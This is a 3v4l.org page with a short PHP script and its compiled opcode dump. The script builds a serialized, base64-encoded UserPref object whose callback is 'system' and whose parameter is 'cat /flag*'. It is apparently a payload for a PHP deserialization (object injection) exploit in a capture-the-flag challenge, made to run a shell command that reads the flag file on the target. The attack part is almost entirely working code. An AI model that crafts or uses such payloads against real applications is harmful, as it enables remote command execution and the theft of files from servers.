3v4l.org

run code in 500+ PHP versions simultaneously
<?php class UserPref { public $theme; public $lang; public $callback; public $param; } $obj = new UserPref(); $obj->theme = "light"; $obj->lang = "zh"; $obj->callback = "system"; $obj->param = "cat /flag*"; echo base64_encode(serialize($obj)); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/Ma0ZJ
function name:  (null)
number of ops:  19
compiled vars:  !0 = $obj
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    9     0  E >   NEW                                                  $1      'UserPref'
          1        DO_FCALL                                          0          
          2        ASSIGN                                                       !0, $1
   10     3        ASSIGN_OBJ                                                   !0, 'theme'
          4        OP_DATA                                                      'light'
   11     5        ASSIGN_OBJ                                                   !0, 'lang'
          6        OP_DATA                                                      'zh'
   12     7        ASSIGN_OBJ                                                   !0, 'callback'
          8        OP_DATA                                                      'system'
   13     9        ASSIGN_OBJ                                                   !0, 'param'
         10        OP_DATA                                                      'cat+%2Fflag%2A'
   15    11        INIT_FCALL                                                   'base64_encode'
         12        INIT_FCALL                                                   'serialize'
         13        SEND_VAR                                                     !0
         14        DO_ICALL                                             $8      
         15        SEND_VAR                                                     $8
         16        DO_ICALL                                             $9      
         17        ECHO                                                         $9
   16    18      > RETURN                                                       1

Class UserPref: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
167.32 ms | 1378 KiB | 15 Q